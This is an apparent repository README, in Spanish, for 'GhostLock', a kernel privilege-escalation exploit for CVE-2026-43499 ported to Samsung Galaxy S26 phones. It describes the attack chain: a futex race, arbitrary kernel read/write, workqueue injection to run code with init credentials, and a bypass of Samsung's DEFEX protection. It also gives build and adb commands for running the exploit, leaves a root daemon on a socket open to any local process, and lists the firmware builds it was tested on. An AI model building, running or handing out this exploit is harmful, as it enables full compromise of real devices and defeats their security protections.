
GhostLock (CVE-2026-43499) para el Galaxy S26
CVE-2026-43499 portado a la serie Samsung Galaxy S26 — Android 16 / GKI 6.12. Un único binario, tres líneas de kernel, coincidencia dinámica de parámetros en tiempo de ejecución: teóricamente cubre toda la serie S26 sin necesidad de compilar para cada build.
La mayoría de los trabajos de port de GhostLock apuntan a un solo dispositivo o a un solo firmware. Este repositorio es un port nuevo que reescribe todos los mecanismos para el objetivo S26 y se espera que cubra toda la familia.
Mientras mantenía snothin/CyberMeowfia, descubrí que el canal physrw original por pipe era inestable (cortaba la red), así que abandoné esa vía y exploré alternativas. Luego descubrí que monovibe había ido más lejos por el camino que yo estaba explorando, adopté el enfoque y, tras repetidas depuraciones, este repositorio tomó forma.
uid=0(root) context=u:r:kernel:s0; shell
root persistente a través de su_daemon en un socket Unix abstracto.work_struct en
system_unbound_wq cuya función es call_usermodehelper_exec_work, por lo que el kernel
ejecuta nuestro daemon con las credenciales de init. La protección EL2 de KDP sobre las
páginas de credenciales nunca se dispara.pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
Los parámetros se emparejan por línea de kernel (tres líneas: cn, intl, exynos), no
por build individual. Las builds OTA desconocidas recurren a la línea conocida más cercana según
el modelo y el CSC. Los modelos completamente desconocidos se rechazan (fail-closed). La lista de
builds integrada es la referencia autoritativa en exploit/src/params_table.c.
Consulta PORTING.md para conocer los parámetros necesarios al portar a un nuevo
dispositivo o firmware.
Requiere Android NDK (r26+). Solo ejecuta:
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
Sube preload.so, su_daemon_aarch64_pie y ksud al dispositivo (ejecuta desde una sesión de
adb shell, uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
El exploit es probabilístico (una condición de carrera) y normalmente requiere intentos
repetidos. En una ejecución exitosa, su_daemon escucha en /data/local/tmp/temp_su.sock, y
cualquier proceso local puede conectarse.
El mecanismo de protección boot-claim (/data/local/tmp/ghostlock-boot.log) registra el
resultado de cada ejecución por arranque; una segunda ejecución de la cadena completa en el
mismo arranque se rechaza (puede bloquear el dispositivo). Borra el archivo o establece
BOOT_FORCE=1 para anularlo.
exploit/src/kernelsnitch/)Este repositorio se publica bajo la Licencia Apache-2.0; consulta LICENSE para el texto completo y NOTICE para la procedencia del código.
| Model | Device codename | Tested builds |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (build probada) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |